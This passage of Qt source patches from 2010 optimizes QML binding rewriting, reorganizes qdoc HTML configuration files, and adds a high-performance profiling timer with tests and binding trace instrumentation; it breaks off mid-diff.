bc9a114..80b9ab2 100644 --- a/src/declarative/qml/qdeclarativerewrite.cpp +++ b/src/declarative/qml/qdeclarativerewrite.cpp @@ -62,12 +62,17 @@ bool SharedBindingTester::isSharable(const QString &code) if (!parser.statement()) return false; + return isSharable(parser.statement()); +} + +bool SharedBindingTester::isSharable(AST::Statement *statement) +{ _sharable = true; - AST::Node::acceptChild(parser.statement(), this); + AST::Node::acceptChild(statement, this); return _sharable; } -QString RewriteBinding::operator()(const QString &code, bool *ok) +QString RewriteBinding::operator()(const QString &code, bool *ok, bool *sharable) { Engine engine; NodePool pool(QString(), &engine); @@ -80,6 +85,10 @@ QString RewriteBinding::operator()(const QString &code, bool *ok) return QString(); } else { if (ok) *ok = true; + if (sharable) { + SharedBindingTester tester; + *sharable = tester.isSharable(parser.statement()); + } } return rewrite(code, 0, parser.statement()); } diff --git a/src/declarative/qml/qdeclarativerewrite_p.h b/src/declarative/qml/qdeclarativerewrite_p.h index 6f3c46e..40c8321 100644 --- a/src/declarative/qml/qdeclarativerewrite_p.h +++ b/src/declarative/qml/qdeclarativerewrite_p.h @@ -68,6 +68,7 @@ class SharedBindingTester : protected AST::Visitor bool _sharable; public: bool isSharable(const QString &code); + bool isSharable(AST::Statement *statement); virtual bool visit(AST::FunctionDeclaration *) { _sharable = false; return false; } virtual bool visit(AST::FunctionExpression *) { _sharable = false; return false; } @@ -81,7 +82,7 @@ class RewriteBinding: protected AST::Visitor QByteArray _name; public: - QString operator()(const QString &code, bool *ok = 0); + QString operator()(const QString &code, bool *ok = 0, bool *sharable = 0); //name of the function: used for the debugger void setName(const QByteArray &name) { _name = name; } -- cgit v0.12 From 8657a92378ebf878c394944956af38905decbd0a Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 18 Nov 2010 19:26:01 +0100 Subject: Moved style-specific declarations. Removed script declarations. --- tools/qdoc3/test/qt-html-default-styles.qdocconf | 7 ++-- tools/qdoc3/test/qt-html-templates-online.qdocconf | 38 +++++++++++++++++++++ tools/qdoc3/test/qt-html-templates.qdocconf | 29 ++++++++++++++++ tools/qdoc3/test/qt-project.qdocconf | 39 ---------------------- 4 files changed, 70 insertions(+), 43 deletions(-) diff --git a/tools/qdoc3/test/qt-html-default-styles.qdocconf b/tools/qdoc3/test/qt-html-default-styles.qdocconf index 103f1e0..30c28cb 100644 --- a/tools/qdoc3/test/qt-html-default-styles.qdocconf +++ b/tools/qdoc3/test/qt-html-default-styles.qdocconf @@ -4,11 +4,10 @@ HTML.templatedir = $QT_SOURCE_TREE/doc/src/template -HTML.stylesheets = style/style.css - -HTML.scripts = scripts/functions.js \ - scripts/narrow.js \ +HTML.stylesheets = style/style.css \ + style/narrow.css +HTML.scripts = # Files not referenced in any qdoc file (last four needed by qtdemo) # See also qhp.Qt.extraFiles diff --git a/tools/qdoc3/test/qt-html-templates-online.qdocconf b/tools/qdoc3/test/qt-html-templates-online.qdocconf index 64f99ad..7ed8c90 100644 --- a/tools/qdoc3/test/qt-html-templates-online.qdocconf +++ b/tools/qdoc3/test/qt-html-templates-online.qdocconf @@ -196,3 +196,41 @@ HTML.footer = \ " var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);\n" \ " })();\n" \ " \n" + + +# Files not referenced in any qdoc file (last four are needed by qtdemo) +# See also extraimages.HTML +qhp.Qt.extraFiles = index.html \ + images/bg_l.png \ + images/bg_l_blank.png \ + images/bg_ll_blank.png \ + images/bg_ul_blank.png \ + images/header_bg.png \ + images/bg_r.png \ + images/box_bg.png \ + images/breadcrumb.png \ + images/bullet_gt.png \ + images/bullet_dn.png \ + images/bullet_sq.png \ + images/bullet_up.png \ + images/arrow_down.png \ + images/feedbackground.png \ + images/horBar.png \ + images/page.png \ + images/page_bg.png \ + images/sprites-combined.png \ + images/spinner.gif \ + images/stylesheet-coffee-plastique.png \ + images/taskmenuextension-example.png \ + images/coloreditorfactoryimage.png \ + images/dynamiclayouts-example.png \ + scripts/functions.js \ + scripts/jquery.js \ + scripts/narrow.js \ + scripts/superfish.js \ + style/narrow.css \ + style/superfish.css \ + style/style_ie6.css \ + style/style_ie7.css \ + style/style_ie8.css \ + style/style.css diff --git a/tools/qdoc3/test/qt-html-templates.qdocconf b/tools/qdoc3/test/qt-html-templates.qdocconf index 5a2058a..bbd1b21 100644 --- a/tools/qdoc3/test/qt-html-templates.qdocconf +++ b/tools/qdoc3/test/qt-html-templates.qdocconf @@ -46,3 +46,32 @@ HTML.footer = \ " Free Documentation License version 1.3\n" \ " as published by the Free Software Foundation.

    \n" \ "
    \n" \ + +# Files not referenced in any qdoc file (last four are needed by qtdemo) +# See also extraimages.HTML +qhp.Qt.extraFiles = index.html \ + images/bg_l.png \ + images/bg_l_blank.png \ + images/bg_ll_blank.png \ + images/bg_ul_blank.png \ + images/header_bg.png \ + images/bg_r.png \ + images/box_bg.png \ + images/breadcrumb.png \ + images/bullet_gt.png \ + images/bullet_dn.png \ + images/bullet_sq.png \ + images/bullet_up.png \ + images/arrow_down.png \ + images/feedbackground.png \ + images/horBar.png \ + images/page.png \ + images/page_bg.png \ + images/sprites-combined.png \ + images/spinner.gif \ + images/stylesheet-coffee-plastique.png \ + images/taskmenuextension-example.png \ + images/coloreditorfactoryimage.png \ + images/dynamiclayouts-example.png \ + style/narrow.css \ + style/style.css diff --git a/tools/qdoc3/test/qt-project.qdocconf b/tools/qdoc3/test/qt-project.qdocconf index 7531b76..be2a227 100644 --- a/tools/qdoc3/test/qt-project.qdocconf +++ b/tools/qdoc3/test/qt-project.qdocconf @@ -19,45 +19,6 @@ qhp.Qt.virtualFolder = qdoc qhp.Qt.indexTitle = Qt Reference Documentation qhp.Qt.indexRoot = -# Files not referenced in any qdoc file (last four are needed by qtdemo) -# See also extraimages.HTML -qhp.Qt.extraFiles = index.html \ - images/bg_l.png \ - images/bg_l_blank.png \ - images/bg_ll_blank.png \ - images/bg_ul_blank.png \ - images/header_bg.png \ - images/bg_r.png \ - images/box_bg.png \ - images/breadcrumb.png \ - images/bullet_gt.png \ - images/bullet_dn.png \ - images/bullet_sq.png \ - images/bullet_up.png \ - images/arrow_down.png \ - images/feedbackground.png \ - images/horBar.png \ - images/page.png \ - images/page_bg.png \ - images/sprites-combined.png \ - images/spinner.gif \ - images/stylesheet-coffee-plastique.png \ - images/taskmenuextension-example.png \ - images/coloreditorfactoryimage.png \ - images/dynamiclayouts-example.png \ - scripts/functions.js \ - scripts/jquery.js \ - scripts/narrow.js \ - scripts/superfish.js \ - style/narrow.css \ - style/superfish.css \ - style/style_ie6.css \ - style/style_ie7.css \ - style/style_ie8.css \ - style/style.css - - - qhp.Qt.filterAttributes = qt 4.7.1 qtrefdoc qhp.Qt.customFilters.Qt.name = Qt 4.7.1 qhp.Qt.customFilters.Qt.filterAttributes = qt 4.7.1 -- cgit v0.12 From 03c671e557a59a2c908cb8241c7ad5c31536841d Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Thu, 18 Nov 2010 14:26:33 +1000 Subject: Optimize binding rewrites. Use the existing AST rather than recreating it. Task-number: QTBUG-15331 Reviewed-by: Aaron Kennedy --- src/declarative/qml/qdeclarativecompiler.cpp | 2 +- src/declarative/qml/qdeclarativerewrite.cpp | 53 ++++++++++++++++++++++++++-- src/declarative/qml/qdeclarativerewrite_p.h | 3 +- 3 files changed, 54 insertions(+), 4 deletions(-) diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index 3e63bb1..d590d11 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -2803,7 +2803,7 @@ bool QDeclarativeCompiler::completeComponentBuild() QDeclarativeRewrite::RewriteBinding rewriteBinding; rewriteBinding.setName('$'+binding.property->name); bool isSharable = false; - expression = rewriteBinding(expression,0,&isSharable); + expression = rewriteBinding(binding.expression.asAST(), expression, &isSharable); quint32 length = expression.length(); quint32 pc; diff --git a/src/declarative/qml/qdeclarativerewrite.cpp b/src/declarative/qml/qdeclarativerewrite.cpp index 80b9ab2..219674f 100644 --- a/src/declarative/qml/qdeclarativerewrite.cpp +++ b/src/declarative/qml/qdeclarativerewrite.cpp @@ -65,10 +65,10 @@ bool SharedBindingTester::isSharable(const QString &code) return isSharable(parser.statement()); } -bool SharedBindingTester::isSharable(AST::Statement *statement) +bool SharedBindingTester::isSharable(AST::Node *node) { _sharable = true; - AST::Node::acceptChild(statement, this); + AST::Node::acceptChild(node, this); return _sharable; } @@ -93,6 +93,55 @@ QString RewriteBinding::operator()(const QString &code, bool *ok, bool *sharable return rewrite(code, 0, parser.statement()); } +QString RewriteBinding::operator()(QDeclarativeJS::AST::Node *node, const QString &code, bool *sharable) +{ + if (!node) + return code; + + if (sharable) { + SharedBindingTester tester; + *sharable = tester.isSharable(node); + } + + QDeclarativeJS::AST::ExpressionNode *expression = node->expressionCast(); + QDeclarativeJS::AST::Statement *statement = node->statementCast(); + if(!expression && !statement) + return code; + + TextWriter w; + _writer = &w; + _position = expression ? expression->firstSourceLocation().begin() : statement->firstSourceLocation().begin(); + _inLoop = 0; + + accept(node); + + unsigned startOfStatement = 0; + unsigned endOfStatement = (expression ? expression->lastSourceLocation().end() : statement->lastSourceLocation().end()) - _position; + + QString startString = QLatin1String("(function ") + QString::fromUtf8(_name) + QLatin1String("() { "); + if (expression) + startString += QLatin1String("return "); + _writer->replace(startOfStatement, 0, startString); + _writer->replace(endOfStatement, 0, QLatin1String(" })")); + + if (rewriteDump()) { + qWarning() << "============================================================="; + qWarning() << "Rewrote:"; + qWarning() << qPrintable(code); + } + + QString codeCopy = code; + w.write(&codeCopy); + + if (rewriteDump()) { + qWarning() << "To:"; + qWarning() << qPrintable(code); + qWarning() << "============================================================="; + } + + return codeCopy; +} + void RewriteBinding::accept(AST::Node *node) { AST::Node::acceptChild(node, this); diff --git a/src/declarative/qml/qdeclarativerewrite_p.h b/src/declarative/qml/qdeclarativerewrite_p.h index 40c8321..310ef3c 100644 --- a/src/declarative/qml/qdeclarativerewrite_p.h +++ b/src/declarative/qml/qdeclarativerewrite_p.h @@ -68,7 +68,7 @@ class SharedBindingTester : protected AST::Visitor bool _sharable; public: bool isSharable(const QString &code); - bool isSharable(AST::Statement *statement); + bool isSharable(AST::Node *Node); virtual bool visit(AST::FunctionDeclaration *) { _sharable = false; return false; } virtual bool visit(AST::FunctionExpression *) { _sharable = false; return false; } @@ -83,6 +83,7 @@ class RewriteBinding: protected AST::Visitor public: QString operator()(const QString &code, bool *ok = 0, bool *sharable = 0); + QString operator()(QDeclarativeJS::AST::Node *node, const QString &code, bool *sharable = 0); //name of the function: used for the debugger void setName(const QByteArray &name) { _name = name; } -- cgit v0.12 From 3d100ab29820b4dcf14afbcadb05d0bf40fdacbc Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Fri, 29 Oct 2010 15:44:21 +1000 Subject: Add a private high-performance timer for profiling. --- src/declarative/qml/qml.pri | 9 +- src/declarative/qml/qperformancetimer.cpp | 226 +++++++++++++++++++++ src/declarative/qml/qperformancetimer_p.h | 79 +++++++ .../qperformancetimer/qperformancetimer.pro | 7 + .../qperformancetimer/tst_qperformancetimer.cpp | 68 +++++++ .../qperformancetimer/qperformancetimer.pro | 8 + .../qperformancetimer/tst_qperformancetimer.cpp | 89 ++++++++ 7 files changed, 484 insertions(+), 2 deletions(-) create mode 100644 src/declarative/qml/qperformancetimer.cpp create mode 100644 src/declarative/qml/qperformancetimer_p.h create mode 100644 tests/auto/declarative/qperformancetimer/qperformancetimer.pro create mode 100644 tests/auto/declarative/qperformancetimer/tst_qperformancetimer.cpp create mode 100644 tests/benchmarks/declarative/qperformancetimer/qperformancetimer.pro create mode 100644 tests/benchmarks/declarative/qperformancetimer/tst_qperformancetimer.cpp diff --git a/src/declarative/qml/qml.pri b/src/declarative/qml/qml.pri index 66b69f9..bf9e54a 100644 --- a/src/declarative/qml/qml.pri +++ b/src/declarative/qml/qml.pri @@ -55,7 +55,8 @@ SOURCES += \ $$PWD/qdeclarativedirparser.cpp \ $$PWD/qdeclarativeextensionplugin.cpp \ $$PWD/qdeclarativeimport.cpp \ - $$PWD/qdeclarativelist.cpp + $$PWD/qdeclarativelist.cpp \ + $$PWD/qperformancetimer.cpp HEADERS += \ $$PWD/qdeclarativeparser_p.h \ @@ -129,8 +130,12 @@ HEADERS += \ $$PWD/qdeclarativedirparser_p.h \ $$PWD/qdeclarativeextensioninterface.h \ $$PWD/qdeclarativeimport_p.h \ - $$PWD/qdeclarativeextensionplugin.h + $$PWD/qdeclarativeextensionplugin.h \ + $$PWD/qperformancetimer_p.h QT += sql include(parser/parser.pri) include(rewriter/rewriter.pri) + +# mirrors logic in corelib/kernel/kernel.pri +unix:!symbian: contains(QT_CONFIG, clock-gettime):include($$QT_SOURCE_TREE/config.tests/unix/clock-gettime/clock-gettime.pri) diff --git a/src/declarative/qml/qperformancetimer.cpp b/src/declarative/qml/qperformancetimer.cpp new file mode 100644 index 0000000..1d7ca80 --- /dev/null +++ b/src/declarative/qml/qperformancetimer.cpp @@ -0,0 +1,226 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qperformancetimer_p.h" + +#if defined(Q_OS_MAC) +#include +#include +#include +#elif defined(Q_OS_UNIX) +#include +#include +#include +#elif defined(Q_OS_SYMBIAN) +#include +#include +#include +#elif defined(Q_OS_WIN) +#include +#endif + +// mac/unix code heavily copied from QElapsedTimer + +QT_BEGIN_NAMESPACE + +////////////////////////////// Mac ////////////////////////////// +#if defined(Q_OS_MAC) + +static mach_timebase_info_data_t info = {0,0}; +static qint64 absoluteToNSecs(qint64 cpuTime) +{ + if (info.denom == 0) + mach_timebase_info(&info); + qint64 nsecs = cpuTime * info.numer / info.denom; + return nsecs; +} + +void QPerformanceTimer::start() +{ + t1 = mach_absolute_time(); +} + +qint64 QPerformanceTimer::elapsed() const +{ + uint64_t cpu_time = mach_absolute_time(); + return absoluteToNSecs(cpu_time - t1); +} + +////////////////////////////// Unix ////////////////////////////// +#elif defined(Q_OS_UNIX) + +#if defined(QT_NO_CLOCK_MONOTONIC) || defined(QT_BOOTSTRAPPED) +// turn off the monotonic clock +# ifdef _POSIX_MONOTONIC_CLOCK +# undef _POSIX_MONOTONIC_CLOCK +# endif +# define _POSIX_MONOTONIC_CLOCK -1 +#endif + +#if (_POSIX_MONOTONIC_CLOCK-0 != 0) +static const bool monotonicClockChecked = true; +static const bool monotonicClockAvailable = _POSIX_MONOTONIC_CLOCK > 0; +#else +static int monotonicClockChecked = false; +static int monotonicClockAvailable = false; +#endif + +#ifdef Q_CC_GNU +# define is_likely(x) __builtin_expect((x), 1) +#else +# define is_likely(x) (x) +#endif +#define load_acquire(x) ((volatile const int&)(x)) +#define store_release(x,v) ((volatile int&)(x) = (v)) + +static void unixCheckClockType() +{ +#if (_POSIX_MONOTONIC_CLOCK-0 == 0) + if (is_likely(load_acquire(monotonicClockChecked))) + return; + +# if defined(_SC_MONOTONIC_CLOCK) + // detect if the system support monotonic timers + long x = sysconf(_SC_MONOTONIC_CLOCK); + store_release(monotonicClockAvailable, x >= 200112L); +# endif + + store_release(monotonicClockChecked, true); +#endif +} + +static inline void do_gettime(qint64 *sec, qint64 *frac) +{ +#if (_POSIX_MONOTONIC_CLOCK-0 >= 0) + unixCheckClockType(); + if (is_likely(monotonicClockAvailable)) { + timespec ts; + clock_gettime(CLOCK_MONOTONIC, &ts); + *sec = ts.tv_sec; + *frac = ts.tv_nsec; + return; + } +#endif + *sec = 0; + *frac = 0; +} + +void QPerformanceTimer::start() +{ + do_gettime(&t1, &t2); +} + +qint64 QPerformanceTimer::elapsed() const +{ + qint64 sec, frac; + do_gettime(&sec, &frac); + sec = sec - t1; + frac = frac - t2; + + return sec * Q_INT64_C(1000000000) + frac; +} + +////////////////////////////// Symbian ////////////////////////////// +#elif defined(Q_OS_SYMBIAN) + +static qint64 getTimeFromTick(quint64 elapsed) +{ + static TInt freq; + if (!freq) + HAL::Get(HALData::EFastCounterFrequency, freq); + + // ### not sure on units + return elapsed / freq; +} + +void QPerformanceTimer::start() +{ + t1 = User::FastCounter(); +} + +qint64 QPerformanceTimer::elapsed() const +{ + return getTimeFromTick(User::FastCounter() - t1); +} + +////////////////////////////// Windows ////////////////////////////// +#elif defined(Q_OS_WIN) + +static qint64 getTimeFromTick(quint64 elapsed) +{ + static LARGE_INTEGER freq; + if (!freq.QuadPart) + QueryPerformanceFrequency(&freq); + return 1000000000 * elapsed / freq.QuadPart; +} + +void QPerformanceTimer::start() +{ + LARGE_INTEGER li; + QueryPerformanceCounter(&li); + t1 = li.QuadPart; +} + +qint64 QPerformanceTimer::elapsed() const +{ + LARGE_INTEGER li; + QueryPerformanceCounter(&li); + return getTimeFromTick(li.QuadPart - t1); +} + +////////////////////////////// Default ////////////////////////////// +#else + +// default implementation (no hi-perf timer) does nothing +void QPerformanceTimer::start() +{ +} + +qint64 QPerformanceTimer::elapsed() const +{ + return 0; +} + +#endif + +QT_END_NAMESPACE + + diff --git a/src/declarative/qml/qperformancetimer_p.h b/src/declarative/qml/qperformancetimer_p.h new file mode 100644 index 0000000..14310bf --- /dev/null +++ b/src/declarative/qml/qperformancetimer_p.h @@ -0,0 +1,79 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QPERFORMANCETIMER_P_H +#define QPERFORMANCETIMER_P_H + +// +// W A R N I N G +// ------------- +// +// This file is not part of the Qt API. It exists for the convenience +// of moc. This header file may change from version to version without notice, +// or even be removed. +// +// We mean it. +// + +#include + +QT_BEGIN_HEADER + +QT_BEGIN_NAMESPACE + +QT_MODULE(Declarative) + +class Q_AUTOTEST_EXPORT QPerformanceTimer +{ +public: + void start(); + qint64 elapsed() const; + +private: + qint64 t1; + qint64 t2; +}; + +QT_END_NAMESPACE + +QT_END_HEADER + +#endif // QPERFORMANCETIMER_P_H diff --git a/tests/auto/declarative/qperformancetimer/qperformancetimer.pro b/tests/auto/declarative/qperformancetimer/qperformancetimer.pro new file mode 100644 index 0000000..656bf68 --- /dev/null +++ b/tests/auto/declarative/qperformancetimer/qperformancetimer.pro @@ -0,0 +1,7 @@ +load(qttest_p4) +contains(QT_CONFIG,declarative): QT += declarative +SOURCES += tst_qperformancetimer.cpp +macx:CONFIG -= app_bundle + +CONFIG += parallel_test + diff --git a/tests/auto/declarative/qperformancetimer/tst_qperformancetimer.cpp b/tests/auto/declarative/qperformancetimer/tst_qperformancetimer.cpp new file mode 100644 index 0000000..2029c8a --- /dev/null +++ b/tests/auto/declarative/qperformancetimer/tst_qperformancetimer.cpp @@ -0,0 +1,68 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include +#include +#include + +class tst_qperformancetimer : public QObject +{ + Q_OBJECT + +public: + tst_qperformancetimer() {} + +private slots: + void units(); +}; + +void tst_qperformancetimer::units() +{ + QPerformanceTimer timer; + timer.start(); + QTest::qWait(300); + qint64 elapsed = timer.elapsed(); + QVERIFY(elapsed > 300000000 && elapsed < 310000000); +} + +QTEST_MAIN(tst_qperformancetimer) + +#include "tst_qperformancetimer.moc" diff --git a/tests/benchmarks/declarative/qperformancetimer/qperformancetimer.pro b/tests/benchmarks/declarative/qperformancetimer/qperformancetimer.pro new file mode 100644 index 0000000..a39cd3d --- /dev/null +++ b/tests/benchmarks/declarative/qperformancetimer/qperformancetimer.pro @@ -0,0 +1,8 @@ +load(qttest_p4) +QT += declarative +TEMPLATE = app +TARGET = tst_qperformancetimer +macx:CONFIG -= app_bundle + +SOURCES += tst_qperformancetimer.cpp + diff --git a/tests/benchmarks/declarative/qperformancetimer/tst_qperformancetimer.cpp b/tests/benchmarks/declarative/qperformancetimer/tst_qperformancetimer.cpp new file mode 100644 index 0000000..04737e7 --- /dev/null +++ b/tests/benchmarks/declarative/qperformancetimer/tst_qperformancetimer.cpp @@ -0,0 +1,89 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include +#include +#include + +class tst_qperformancetimer : public QObject +{ + Q_OBJECT + +public: + tst_qperformancetimer() {} + +private slots: + void all(); + void startElapsed(); + void doubleElapsed(); +}; + +void tst_qperformancetimer::all() +{ + QBENCHMARK { + QPerformanceTimer t; + t.start(); + t.elapsed(); + } +} + +void tst_qperformancetimer::startElapsed() +{ + QPerformanceTimer t; + QBENCHMARK { + t.start(); + t.elapsed(); + } +} + +void tst_qperformancetimer::doubleElapsed() +{ + QPerformanceTimer t; + t.start(); + QBENCHMARK { + t.elapsed(); + t.elapsed(); + } +} + +QTEST_MAIN(tst_qperformancetimer) + +#include "tst_qperformancetimer.moc" -- cgit v0.12 From 458c237ea807330de8b15cb2b6e99f564bb7fd66 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 3 Nov 2010 10:24:29 +1000 Subject: Use high performance timer for profiling. Add binding profile info. --- src/declarative/debugger/qdeclarativedebugtrace_p.h | 5 +++-- src/declarative/qml/qdeclarativebinding.cpp | 15 +++++++++++++++ src/declarative/qml/qdeclarativecompiledbindings.cpp | 3 +++ 3 files changed, 21 insertions(+), 2 deletions(-) diff --git a/src/declarative/debugger/qdeclarativedebugtrace_p.h b/src/declarative/debugger/qdeclarativedebugtrace_p.h index 704c49a..d6fe0b0 100644 --- a/src/declarative/debugger/qdeclarativedebugtrace_p.h +++ b/src/declarative/debugger/qdeclarativedebugtrace_p.h @@ -43,7 +43,7 @@ #define QDECLARATIVEDEBUGTRACE_P_H #include -#include +#include QT_BEGIN_HEADER @@ -74,6 +74,7 @@ public: Painting, Compiling, Creating, + Binding, MaximumRangeType }; @@ -90,7 +91,7 @@ private: void startRangeImpl(RangeType); void rangeDataImpl(RangeType, const QUrl &); void endRangeImpl(RangeType); - QElapsedTimer m_timer; + QPerformanceTimer m_timer; }; QT_END_NAMESPACE diff --git a/src/declarative/qml/qdeclarativebinding.cpp b/src/declarative/qml/qdeclarativebinding.cpp index cb6ad8c..2a1abd0 100644 --- a/src/declarative/qml/qdeclarativebinding.cpp +++ b/src/declarative/qml/qdeclarativebinding.cpp @@ -49,6 +49,7 @@ #include "private/qdeclarativedata_p.h" #include "private/qdeclarativestringconverters_p.h" #include "private/qdeclarativestate_p_p.h" +#include "private/qdeclarativedebugtrace_p.h" #include #include @@ -114,6 +115,19 @@ QDeclarativeProperty QDeclarativeBinding::property() const return d->property; } +class QDeclarativeBindingProfiler { +public: + QDeclarativeBindingProfiler() + { + QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Binding); + } + + ~QDeclarativeBindingProfiler() + { + QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::Binding); + } +}; + void QDeclarativeBinding::update(QDeclarativePropertyPrivate::WriteFlags flags) { Q_D(QDeclarativeBinding); @@ -122,6 +136,7 @@ void QDeclarativeBinding::update(QDeclarativePropertyPrivate::WriteFlags flags) return; if (!d->updating) { + QDeclarativeBindingProfiler prof; d->updating = true; bool wasDeleted = false; d->deleted = &wasDeleted; diff --git a/src/declarative/qml/qdeclarativecompiledbindings.cpp b/src/declarative/qml/qdeclarativecompiledbindings.cpp index 5f0fd56..77fb48e 100644 --- a/src/declarative/qml/qdeclarativecompiledbindings.cpp +++ b/src/declarative/qml/qdeclarativecompiledbindings.cpp @@ -54,6 +54,7 @@ #include #include #include +#include QT_BEGIN_NAMESPACE @@ -316,7 +317,9 @@ int QDeclarativeCompiledBindingsPrivate::Binding::propertyIndex() void QDeclarativeCompiledBindingsPrivate::Binding::update(QDeclarativePropertyPrivate::WriteFlags flags) { + QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Binding); parent->run(this, flags); + QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::Binding); } void QDeclarativeCompiledBindingsPrivate::Binding::destroy() -- cgit v0.12 From 1a8bf28261facf1e97cecf842fcbfff48b383984 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 3 Nov 2010 12:53:41 +1000 Subject: Add support for a record-then-send debug process. --- .../debugger/qdeclarativedebugtrace.cpp | 55 ++++++++++++++++++---- .../debugger/qdeclarativedebugtrace_p.h | 7 +++ 2 files changed, 53 insertions(+), 9 deletions(-) diff --git a/src/declarative/debugger/qdeclarativedebugtrace.cpp b/src/declarative/debugger/qdeclarativedebugtrace.cpp index 03e2d56..5edc3b6 100644 --- a/src/declarative/debugger/qdeclarativedebugtrace.cpp +++ b/src/declarative/debugger/qdeclarativedebugtrace.cpp @@ -43,11 +43,13 @@ #include #include +#include Q_GLOBAL_STATIC(QDeclarativeDebugTrace, traceInstance); QDeclarativeDebugTrace::QDeclarativeDebugTrace() -: QDeclarativeDebugService(QLatin1String("CanvasFrameRate")) +: QDeclarativeDebugService(QLatin1String("CanvasFrameRate")), + m_enabled(false), m_deferredSend(true) { m_timer.start(); } @@ -78,45 +80,80 @@ void QDeclarativeDebugTrace::endRange(RangeType t) void QDeclarativeDebugTrace::addEventImpl(EventType event) { - if (status() != Enabled) + if (status() != Enabled || !m_enabled) return; QByteArray data; QDataStream ds(&data, QIODevice::WriteOnly); ds << m_timer.elapsed() << (int)Event << (int)event; - sendMessage(data); + processMessage(data); } void QDeclarativeDebugTrace::startRangeImpl(RangeType range) { - if (status() != Enabled) + if (status() != Enabled || !m_enabled) return; QByteArray data; QDataStream ds(&data, QIODevice::WriteOnly); ds << m_timer.elapsed() << (int)RangeStart << (int)range; - sendMessage(data); + processMessage(data); } void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QUrl &u) { - if (status() != Enabled) + if (status() != Enabled || !m_enabled) return; QByteArray data; QDataStream ds(&data, QIODevice::WriteOnly); ds << m_timer.elapsed() << 